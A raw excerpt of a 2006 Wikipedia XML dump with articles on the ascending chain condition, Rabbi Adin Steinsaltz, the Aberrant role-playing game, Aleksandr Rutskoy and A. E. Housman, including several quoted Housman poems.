*[http://fish.mongabay.com/ Tropical Freshwater Aquarium Fish] A website with information about freshwater tropical fish including biotope descriptions.
*[http://www.aquariumcouncil.org/ Marine Aquarium Council Official Website]
*[http://www.fishfriend.com/ Your Fish Tank's Friend]
*[http://www.reefcentral.com Reef Central...a site for Reef Aquarium Hobbyists]
*[http://avdil.gtri.gatech.edu/RCM/RCM/MICHELSONAquarium.html Engineerng of an automated reef life support system] DIY guide to reef tank automation for propagation of coral.
*[http://www.fishinthe.net General Freshwater Aquarium Site]
*[http://aquaticuz.com The Aquatic Place]

[[Category:Fishkeeping]]
[[Category:Hobbies]]
[[Category:Aquaria| ]]
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    <title>Ascending chain condition</title>
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      <text xml:space="preserve">In [[mathematics]], a [[partial order|poset]] ''P'' is said to satisfy the '''ascending chain condition''' (ACC)
if every ascending chain ''a''&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;&amp;le;&amp;nbsp;''a''&lt;sub&gt;2&lt;/sub&gt;&amp;nbsp;&amp;le;&amp;nbsp;... of elements of ''P'' is eventually stationary,
that is, there is some positive [[integer]] ''n'' such that ''a''&lt;sub&gt;''m''&lt;/sub&gt; = ''a''&lt;sub&gt;''n''&lt;/sub&gt; for all ''m''&amp;nbsp;&gt;&amp;nbsp;''n''.
Similarly, ''P'' is said to satisfy the '''descending chain condition''' (DCC)
if every descending chain ''a''&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;&amp;ge;&amp;nbsp;''a''&lt;sub&gt;2&lt;/sub&gt;&amp;nbsp;&amp;ge;&amp;nbsp;... of elements of ''P'' is eventually stationary (that is, there is no [[infinite descending chain]]).

The ascending chain condition on ''P'' is equivalent to the '''maximum condition''': every nonempty subset of ''P'' has a maximal element.
Similarly, the descending chain condition is equivalent to the '''minimum condition''': every nonempty subset of ''P'' has a minimal element.

Every finite poset satisfies both ACC and DCC.

A [[total order|totally ordered set]] that satisfies the descending chain condition is called a [[well-order|well-ordered set]].

See also [[Noetherian]] and [[Artinian]].

[[Category:Commutative algebra]]
[[Category:Order theory]]

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  <page>
    <title>Adin Steinsaltz</title>
    <id>3192</id>
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      <text xml:space="preserve">[[Image:Rabbi_Steinsaltz_photo.jpg|right|framed|Rabbi Adin Steinsaltz]]

[[Rabbi]] '''Adin Steinsaltz''' or '''Even Yisrael''' (born 1937) is a teacher, philosopher, social critic and prolific author who has been hailed by [[Time magazine]] as a &quot;once-in-a-millennium scholar.&quot; His lifelong work in Jewish education earned him the [[Israel Prize]], his country’s highest honor. He is affiliated with the [[Chabad Lubavitch]] [[Hasidic Judaism|Hasidic]] sect. He is the [[Nasi]] and most prominent public member of an attempt to revive the [[Sanhedrin#A &quot;New&quot; Sanhedrin?|Sanhedrin]].

Born in [[Jerusalem]] in 1937 to secular parents, Rabbi Steinsaltz studied [[physics]] and [[chemistry]] at the [[Hebrew University]]. Following graduation, he established several experimental schools and, at the age of 24, became [[Israel]]’s youngest school principal.

In 1965, he founded the Israel Institute for Talmudic Publications and began his monumental [[Hebrew language|Hebrew]] translation and commentary on the [[Talmud]]. To date, he has published 38 of the anticipated 46 volumes. While not without criticism (e.g. by [[Jacob Neusner|Neusner]], 1998), the Steinsaltz edition is widely used throughout Israel, the United States and the world. Over 2 million volumes of the Steinsaltz Talmud have been distributed to date. 

The translation of the Talmud from Aramaic to Hebrew increased the amount of people who are able to study its content. His translation opened the door for women who traditionally are not taught Talmud, and are therefore not proficient in Aramaic, to study the Talmud. Modern Orthodox High Schools and Seminaries teach women Talmud using his translation. The amount of men who are capable of studying Talmud increased as a result of Steinzalts' work. 

Regarding the access that his work provides, Steinsaltz says “I never thought that spreading ignorance has any advantage, except for those who are in a position of power and want to deprive others of their rights and spread ignorance in order to keep them underlings. My gemmarot are surely used, if they are used anywhere, in Matan [a yeshiva for Orthodox women in Jerusalem], from beginning to end. Why? Because they help skip the elementary school level of training. That makes learning Talmud for them possible, and if it is possible then it is challenging and some of the men don’t want that challenge.” 

The Rabbi’s classic work of [[Kabbalah]], ''The Thirteen Petalled Rose'', was first published in 1980 and now appears in eight languages. In all, Rabbi Steinsaltz has authored some 60 books and hundreds of articles on subjects including [[Talmud]], Jewish mysticism, religious thought, [[sociology]], historical biography, and [[philosophy]].  

Continuing his work as a teacher and spiritual mentor, Rabbi Steinsaltz established a network of schools and educational institutions in Israel and the former Soviet Union. He has served as scholar in residence at the [[Woodrow Wilson International Center for Scholars]] in [[Washington, D.C.]] and the Institute for Advanced Studies at [[Princeton University]]. His honorary degrees include doctorates from [[Yeshiva University]], [[Ben Gurion University of the Negev]], [[Bar Ilan University]], [[Brandeis University]], and [[Florida International University]]. Rabbi Steinsaltz is also [[Rosh Yeshiva]] of [[Yeshivat Hesder]] [[Tekoa]], and, [http://www.israelnn.com/news.php3?id=83438 controversially], functions as [[Nasi]] in the [[Sanhedrin#A_.22New.22_Sanhedrin.3F|&quot;new Sanhedrin&quot;]].

 

Rabbi Steinsaltz and his wife have three children and ten grandchildren.  He lives in Jerusalem.

==References==
* Rabbi Adin Steinsaltz, ''The Talmud: The Steinsaltz Edition'', 21 volumes available in English from Random House; 38 volumes available in Hebrew from Milta Books; also published in French, Russian, and Spanish.
* Rabbi Adin Steinsaltz, ''We Jews: Who Are We and What Should We Do?'', (Jossey-Bass, 2005).
* Rabbi Adin Steinsaltz, ''Opening the Tanya: Discovering the Moral and Mystical Teachings of a Classic Work of Kabbalah'', (Jossey-Bass, 2003).
* Rabbi Adin Steinsaltz, ''Learning From the Tanya: Volume Two in the Definitive Commentary on the Moral and Mystical Teachings of a Classic Work of Kabbalah'', (Jossey-Bass, 2005).
* Rabbi Adin Steinsaltz, ''The Miracle of the Seventh Day: A Guide to the Spiritual Meaning, Significance, and Weekly Practice of the Jewish Sabbath'', (Jossey-Bass, 2003).
* Rabbi Adin Steinsaltz, ''The Thirteen Petalled Rose'' (Basic Books, 1985; and Jason Aronson, 1992).
* Herbert Weiner, ''Nine and a Half Mystics: Kabbala Today'' (Reprinted by Touchstone, 1997).
* [[Jacob Neusner]], ''How Adin Steinsaltz Misrepresents the Talmud. Four False Propositions from his &quot;Reference Guide.&quot;'' Atlanta, 1998: Scholars Press for South Florida Studies in the History of Judaism.

==External links==
* [http://www.steinsaltz.org/ Steinsaltz.org - The official website of The Aleph Society and Rabbi Adin Steinsaltz]
* [http://www.chabad.org/search/keyword.asp?scope=6198&amp;kid=1170 Some articles written by Rabbi Adin Even-Yisrael Steinsaltz]


[[Category:1937 births|Steinsaltz, Adin]]
[[Category:Living people|Steinsaltz, Adin]]
[[Category:Israeli people|Steinsaltz, Adin]]
[[Category:Orthodox rabbis|Steinsaltz, Adin]]
[[Category:Prominent Lubavitchers|Steinsaltz, Adin]]

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    <title>Aberrant (role-playing game)</title>
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      <text xml:space="preserve">{{Infobox RPG
|title=Aberrant
|image= 
|caption= 
|designer= [[Rob Hatch]], [[Andrew Bates]], [[Ken Cliffe]], [[Greg Fountain]], [[Sheri M. Johnson]], [[Chris McDonough]], [[Ethan Skemp]], [[Mike Tinney]], [[Richard Thomas]], [[Stephan Wieck]], [[Fred Yelk]]
|publisher= [[White Wolf, Inc.|White Wolf Game Studio]]
|date= 1999 ''(1&lt;small&gt;st&lt;/small&gt; edition)''&lt;br&gt;2004 ''(d20 edition)''
|genre= [[Superhero]]
|system= [[Storyteller System]] ''(1&lt;small&gt;st&lt;/small&gt; edition)''&lt;br&gt;[[d20 System]] ''(d20 edition)''
|footnotes= 
}}
'''Aberrant''' is a [[superhero]]-based [[role-playing game]] created by [[White Wolf, Inc.|White Wolf Game Studio]] in [[1999]], set in 2008AD in a world where super-powered humans started appearing one day in 1998 out of the blue.  The game deals with how the players' meta-human characters (called ''novas'') fit into a mundane world when they most definitely are ''not'' mundane, as well as how the mundane populace react to the sudden emergence of novas.  The original Aberrant product line was discontinued in [[2002]], though a [[d20 System]] version was released in 2004.

==Setting==
Super powers in Aberrant come from an individual's ability to manipulate energy at the &quot;quantum&quot; sub-atomic level.  Since individuals who can do this have an imperfect understanding of [[quantum mechanics]], their powers always follow a specific path or are linked to a specific focus.  For instance, all the powers of the nova called Anteus revolve around nature; he can teleport by stepping into a tree and out of another tree of the same type somewhere else, create new species of animals, or alter the normal course of life and death for plants and animals.  All his powers follow his focus of nature.  Other novas have other foci such as plasma, fire, water, shapechanging, or invulnerability.

As a nova's ability to manipulate the quantum fabric of the world grows, he begins to experience Taint, the side effects of channelling larger and larger amounts of energy.  Taint is the 'non-humanness' side of quantum manipulation and at higher levels novas begin to show either physical or mental defects.  These defects vary widely; a tentacle growing from one's stomach, sociopathic disorders, hair made of flames, odd skin composition (such as rubber), a power that is &quot;always on&quot;, megalomania, or continual radiation.

Aberrant is unique among the publisher's game-lines for having no particular [[caste]]s or ''character classes''.  Aside from this, it shares with many other White Wolf, Inc.|White Wolf games a tendency to embrace &quot;shades of gray&quot; morality and reject the traditional superhero trope of &quot;heroes vs. villains&quot;.

Aberrant is the prequel to [[Trinity (Aeon)|Trinity]] and the successor to 
[[Adventure! (role-playing game)|Adventure!]].  Trinity details the future history of the novas, over a 60-year span of time.

==Factions==
The metaplot revolves around the interactions between various factions, most of which employ Nova agents. Among the most important are:

*Project Utopia, an organisation with altruistic ideals that promotes cooperation between Novas and humans to build a more perfect world. Utopia has [[United Nations|UN]] sanction to deal with novas. It is also linked to the Aeon Trinity organisation, which rises to greater prominence in ''Trinity'' and whose roots are detailed in ''Adventure!''
*The Teragen, a diverse group of Novas who claim biological superiority to humans.
*The Aberrants, a group of Novas concerned about evidence of corruption within Project Utopia. While a small faction, they are nevertheless taken very seriously by Project Utopia.
*The Directive, an intelligence organisation controlled by the governments of [[Russia]], the [[United Kingdom]], [[Japan]] and the [[United States of America|United States]].

Various smaller groups exist, most of which are focused on more specific goals. Players' characters generally belong to one of the above factions, work for a specific corporation, or hire themselves out for odd jobs, often as mercenaries or troubleshooters.

==System==
Aberrant uses a modified version of the [[Storyteller System]].  A character adds his attribute to his skill (or power as the case may be) and rolls that many 10 sided dice.  Any dice that comes up as a 7 or higher counts as 1 success.  Accomplishing different tasks require different numbers of successes to accomplish.  Flying a plane may only require 1 success, but flying a 747 with a near fatal wound, all the rest of the crew dead, and no hydraulic pressure could require 5 or more successes.  

The first major difference with Aberrant is that in addition to normal attributes such as Dexterity, Manipulation and Wits, novas have what are called ''Mega attributes''.  Scores in such attributes are added as dice every time a character makes a roll using the linked mundane attribute, but Mega-Attributes are much more powerful.  Every success rolled using mega attribute dice count as 2 normal successes, and rolling a 10 counts as 3 successes.

Powers are treated almost exactly like skills except that they come in different levels of power.  Level 1 powers are comparatively weak, while level 6 powers can do nearly anything (a famous level 6 power is 'Universe Creation').  Lower level powers are cheaper to purchase with experience, while higher level powers cost more.  There are a wide range of powers from controlling any single element (fire, gravity, entropy, quantum, magnetism, etc...), to flying, to mental domination, to imperviousness, to time travel and teleportation.

==External links==
*[http://www.white-wolf.com White Wolf Online]

[[Category:Science fiction role-playing games]]
[[Category:Superhero role-playing games]]</text>
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  <page>
    <title>Aleksandr Vladimirovich Rutskoy</title>
    <id>3195</id>
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  <page>
    <title>Aleksandr Rutskoy</title>
    <id>3196</id>
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      <timestamp>2006-02-22T21:32:05Z</timestamp>
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      <minor />
      <comment>/* Biography */</comment>
      <text xml:space="preserve">{{cleanup-date|July 2005}}

[[Image:Rutskoi.jpg|frame|Aleksandr Rutskoy in his Kursk office in [[2003]]]]
'''Aleksandr Vladimirovich Rutskoy''' (Russian: ''Александр Владимирович Руцкой'') ([[September 16]], [[1945]]-) is a [[Russia|Russian]] politician and a former [[Soviet Union|Soviet]] military officer. Rutskoy was Vice-President of Russian Federation (1991-1993), and on September 22, 1993 he took an oath of the President. He was born in [[Kursk]], [[Russia]].


== Biography ==

Rutskoy was a Soviet air force colonel during the [[Soviet war in Afghanistan]], where he was injured. He was shot down by a F-16 of the [[Pakistan Air Force]] on August 4, 1988 by Sqn. Ldr. Bukhari while he was flying a Su-25 aircraft at night when he had entered Pakistan's aerospace. [http://www.geocities.com/Baja/Dunes/1107/heroes.htm]. As a soldier and a populist, he was chosen by [[Boris Yeltsin]] to be his vice presidential running mate in the 1991 Russian presidential election.

Rutskoy was the [[Vice President of Russia]] from [[July 10]], [[1991]] to [[September 1]], [[1993]], when he was sacked by president [[Boris Yeltsin]] on corruption charges.  The real issue, however, was that Rutskoy sided with the parliament during the [[Russian constitutional crisis of 1993]], which was triggered when Yeltsin tried to dissolve the parliament on [[September 21]], the parliament responded by declaring Yeltsin's presidency unconstitutional and appointing Rutskoy acting president.

On September 21, 1993, after the decree of president [[Boris Yeltsin]] that illegally dissolved  the [[Supreme Soviet]], Rutskoy assumed the position of president in accordance with Article 121-6 of the Constitution:

:'''Article 121-6.''' ''Authority of the President of Russian Federation cannot be used to change national and state organization of Russian Federation, dissolution or halting activity of any elected organs of state power.''

On that day, Rutskoy said: &quot;I am taking the authority of President. Anticonstitutional decree of President Yeltsin is annulated.&quot; On September 22, during the night time, he took the presidential oath. On October 4, the Parliament building was taken by Yeltsin's military forces.  Rutskoy and his supporters were arrested. They were charged with organization of mass disturbances. On February 26, 1994 Rutskoy was released from prison by the Decision of State Duma. Rutskoy's interim presidency, although constitutional, was never acknowledged outside Russia. 

Shortly after his release, Rutskoy founded a one-man political party, [[Derzhava]] ('The Great Power' in Russian, see [http://www.nupi.no/cgi-win/Russland/polgrupp.exe?Derzhava]), nationalist/communist in its ideology, and contested for presidency in 1996 as well as in the [[State Duma]] election of [[1995]], but didn't manage to pass the 5% threshold. He was elected, however, governor of [[Kursk Oblast]] in [[1996]]. 

Rutskoy was a central figure in the aggravation of the [[Transnistria]] military conflict. His [[1992]] visit in [[Tiraspol]] delivered the clear message of the Russian sustain, including military support, for the Russian population of the Moldavian breakaway entity. 

He was banned from running in [[2000]] [[Kursk]]'s governor elections on a technicality for failing to register his car.

[[Category:1945 births|Rutskoy, Aleksandr]]
[[Category:Living people|Rutskoy, Aleksandr]]
[[Category:Russian politicians|Rutskoy, Aleksandr]]
[[Category:Presidents of the Russian Federation|Rutskoy, Aleksandr]]

[[de:Alexander Wladimirowitsch Ruzkoi]]
[[fr:Alexandre Routskoï]]
[[id:Aleksandr Vladimirovich Rutskoy]]
[[ja:アレクサンドル・ルツコイ]]</text>
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  <page>
    <title>A E Housman</title>
    <id>3197</id>
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  <page>
    <title>A. E. Housman</title>
    <id>3198</id>
    <revision>
      <id>41905354</id>
      <timestamp>2006-03-02T14:43:44Z</timestamp>
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        <username>DanielCD</username>
        <id>81016</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.177.132.131|24.177.132.131]] ([[User talk:24.177.132.131|talk]]) to last version by DanielCD</comment>
      <text xml:space="preserve">'''Alfred Edward Housman''' ([[March 26]], [[1859]] – [[April 30]], [[1936]]), usually known as A.E. Housman, was an [[England|English]] [[poet]] and [[classics|classical scholar]], now best known for his cycle of poems ''[[A Shropshire Lad]]''.

[[Image:housman.jpg|right|portrait photo]]

== Life ==

Housman was born in [[Fockbury]], [[Worcestershire]], the eldest of seven children of a country solicitor. His brother [[Laurence Housman]] and sister [[Clemence Housman]] also became writers.

Housman was educated first in [[King Edward's School]], then in [[Bromsgrove School]] where he acquired a strong academic grounding and won prizes for his poetry. In 1877 he won an open scholarship to [[St John's College, Oxford]], where he studied classics. He was a brilliant student, gaining first class honours in classical moderations, but a withdrawn person whose only friends were his roommates Moses Jackson and [[A. W. Pollard]]. Housman fell in love with the handsome, athletic Jackson who, being heterosexual, rejected him, though the two remained friends. This experience, reflected in some of his poems, may be an explanation of Housman's unexpected failure in his final exams (the &quot;Greats&quot;) in 1881. Housman took this failure very seriously but managed to take a pass degree the next year, after a brief period of teaching in [[Bromsgrove School]].

After graduating, Jackson got a job as a [[Patent clerk|clerk]] in the [[Patent Office]] in [[London]] and arranged a job there for Housman as well. They shared an apartment with Jackson's brother Adalbert until 1885 when Housman moved in to lodgings of his own. Moses Jackson married and moved to [[Ceylon]] in 1887 and Adalbert Jackson died in 1892. Housman continued pursuing classical studies independently and published scholarly articles on such authors as [[Horace]], [[Propertius]], [[Ovid]], [[Aeschylus]], [[Euripides]] and [[Sophocles]]. He gradually acquired such a high reputation that in 1892 he was offered the professorship of Latin at [[University College London]], which he accepted.

Although Housman's sphere of responsibilities as professor included both [[Latin]] and [[Greek language|Greek]], he put most of his energy in the study of Latin classics. His reputation in this field grew steadily, and in 1911 he took the [[Kennedy Professorship of Latin]] at [[Trinity College, Cambridge]], where he remained for the rest of his life. It was unusual at the time for an [[University of Oxford|Oxford]] man such as Housman to be hired at [[University of Cambridge|Cambridge]]. During 1903–1930, he published his critical edition of [[Marcus Manilius|Manilius]]'s ''Astronomicon'' in five volumes. He also edited works of [[Juvenal]] (1905) and [[Lucan (poet)|Lucan]] (1926). Many colleagues were afraid of his scathing critical attacks on those whom he found guilty of unscholarly sloppiness. To his students he appeared as a severe, reticent, remote authority. The only pleasures he allowed himself in his spare time were those of [[gastronomy]] which he also practised on frequent visits to France and Italy.

Housman always found his true vocation in classical studies and treated poetry as a secondary activity. He never spoke about his poetry in public until 1933 when he gave a lecture, &quot;The Name and Nature of Poetry&quot;, in which he argued that poetry should appeal to emotions rather than intellect. He died two years later in Cambridge. His ashes are buried near St Laurence's Church, [[Ludlow]], Shropshire.

== Poetry ==

During his years in London, A E Housman completed his cycle of 63 poems, ''[[A Shropshire Lad]].''
After several publishers had turned it down, he published it at his own expense in 1896, much to the surprise of his colleagues and students.
At first the book sold slowly, but Housman's nostalgic depiction of brave English soldiers struck a chord with English readers and his poems became a lasting success.
Later, [[World War I]] had a further increasing effect on their popularity.
Several composers, [[Arthur Somervell]] first, found inspiration in the seeming folksong-like simplicity of the poems.
The most famous musical settings are by [[George Butterworth]] and [[Ralph Vaughan Williams]], with others by [[Ivor Gurney]], [[John Ireland (composer)|John Ireland]] and [[Ernest John Moeran]].

Housman was surprised by the success of ''[[A Shropshire Lad]]'' because it, like all his poetry, is imbued with a deep pessimism and an obsession with all-pervasive death, with no place for the consolations of religion.
Set in a half-imaginative pastoral [[Shropshire]], &quot;the land of lost content&quot; (in fact Housman wrote most of the poems before ever visiting the place), the poems explore themes of fleetingness of love and decay of youth in a spare, uncomplicated style which many critics of the time found out of date compared with the exuberance of some Romantic poets.
Housman himself acknowledged the influence of the songs of [[William Shakespeare]], the Scottish Border Ballads and [[Heinrich Heine]], but specifically denied any influence of Greek and Latin classics in his poetry.

In the early 1920s, when Moses Jackson was dying in Canada, Housman wanted to assemble his best unpublished poems together so that Jackson could read them before his death.
These later poems, most of them written before 1910, show a greater variety of subject and form than those in ''A Shropshire Lad'' but also a certain lack of the kind of consistency found in the earlier poems.
He published them as his [[Last Poems]] (1922) because he thought that his poetic inspiration was running out and that he would not publish any more poems in his lifetime.
This proved true.

Housman's brother Laurence edited his posthumous poems which appeared in ''More Poems'' (1936) and ''Complete Poems'' (1939).
In these poems, Housman appears more candid about his [[homosexuality]] and [[atheism]] than in his lifetime, though the essay ''De Amicitia'', published by Laurence Housman in 1967, is even more revealing.
Housman also wrote a parodic ''Fragment of a Greek Tragedy'', in English, and humorous poems published posthumously under the title ''Unkind to Unicorns''.

Housman's most familiar poem is surely &quot;When I was one-and-twenty,&quot; number XIII from ''A Shropshire Lad.''
The Oxford Dictionary of Quotations includes no fewer than fourteen of its sixteen lines:

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&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;When I was one-and-twenty&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I heard a wise man say,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;Give crowns and pounds and guineas&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;But not your heart away;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Give pearls away and rubies&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;But keep your fancy free.&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;But I was one-and-twenty,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;No use to talk to me.

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;When I was one-and-twenty&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I heard him say again,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;The heart out of the bosom&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Was never given in vain;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Tis paid with sighs a plenty&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And sold for endless rue.&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And I am two-and-twenty&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And oh, 'tis true, 'tis true.

This poem is, in fact, a good example of the style and melancholy tone of the whole collection.
Many of its poems dwell on mortality: &quot;With rue my heart is laden/For golden friends I had,/For many a rose-lipt maiden/And many a lightfoot lad.&quot; 

Poem XVII, &quot;Is my team ploughing?,&quot; is a dialogue between a dead youth and a friend who has survived him.
The dead youth asks &quot;Is my girl happy/That I thought hard to leave/And is she tired of weeping/As she lies down to eve?&quot; The living replies &quot;Ay, she lies down lightly/She lies not down to weep/Your girl is well contented/Be still, my lad, and sleep.&quot;
As the reader has begun to suspect, two stanzas later the living man acknowledges &quot;I cheer a dead man's sweetheart/Never ask me whose.&quot;

Poem LXII, &quot;Terence, this is stupid stuff,&quot; is a dialogue in which the poet, asked for &quot;a tune to dance to&quot; instead of his usual &quot;moping melancholy&quot; verse, offers (perhaps [[irony|ironically]]) the respite of drunkenness as a way to inure oneself to the pain of existence -- &quot;Malt does more than Milton can/To justify God's ways to man&quot; -- and pessimism as a longer-lasting immunization:

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&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Therefore, since the world has still&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Much good, but much less good than ill,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And while the sun and moon endure&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Luck's a chance, but trouble's sure,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I'd face it as a wise man would,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And train for ill and not for good.

The uniform style and tone of ''A Shropshire Lad'' make it an easy target for parody, as in this example by [[Humbert Wolfe]]:

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&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;When lads have done with labor&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;in Shropshire, one will cry&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;Let's go and kill a neighbor,&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and t'other answers &quot;Aye!&quot;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;So this one kills his cousins,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and that one kills his dad;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and, as they hang by dozens&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;at Ludlow, lad by lad,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;each of them one-and-twenty,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;all of them murderers,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;the hangman mutters: &quot;Plenty&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;even for Housman's verse.&quot;


Another great poem by Housman, contrasting death with fleeting beauty and physical prowess, is the following:

To an Athlete Dying Young&lt;br /&gt;
By Alfred Edward Housman

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The time you won your town the race&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;We chaired you through the market-place;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Man and boy stood cheering by,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And home we brought you shoulder-high.&lt;br /&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Today, the road all runners come,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Shoulder-high we bring you home,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And set you at your threshold down,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Townsman of a stiller town.

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Smart lad, to slip betimes away&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;From fields where glory does not stay&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And early though the laurel grows&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;It withers quicker than the rose.

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Eyes the shady night has shut&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cannot see the record cut,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And silence sounds no worse than cheers&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;After earth has stopped the ears:&lt;br /&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Now you will not swell the rout&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Of lads that wore their honors out,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Runners whom renown outran&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And the name died before the man.

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;So set, before its echoes fade,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The fleet foot on the sill of shade,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And hold to the low lintel up&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The still-defended challenge-cup.

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And round the early-laureled head&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Will flock to gaze the strengthless dead,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;And find unwithered on its curls&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The garland briefer than a girl’s

==Housman in literature==

Housman is the main character in the 1998 [[Tom Stoppard]] play '[[The Invention of Love]]'.

== External links ==

{{wikiquote}}
*[http://www.housman-society.co.uk The Housman Society]
*''[http://etext.lib.virginia.edu/toc/modeng/public/HouShro.html A Shropshire Lad]''
* {{gutenberg author| id=A.+E.+Housman | name=Alfred Edward Housman}}
*[http://www.bryantmcgill.com/World_Poetry/~A/A.E._Housman/ A.E. Housman Poetry and Translations] at the Open Translation Project sponsored by [[Bryant H. McGill]]

[[Category:1859 births|Housman, A. E.]]
[[Category:1936 deaths|Housman, A. E.]]
[[Category:British classical scholars|Housman, A. E.]]
[[Category:English poets|Housman, A. E.]]
[[Category:Gay writers|Housman, A. E.]]
[[Category:Former students of St John's College, Oxford|Housman, A. E.]]
[[Category:UCL academics|Housman, A. E.]]
[[Category:World War I poets|Housman, A. E.]]</text>
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  </page>
  <page>
    <title>Augusto Pinochet</title>
    <id>3199</id>
    <revision>
      <id>42029093</id>
      <timestamp>2006-03-03T08:45:47Z</timestamp>
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        <username>ChaTo</username>
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      <minor />
      <comment>/* External links */</comment>
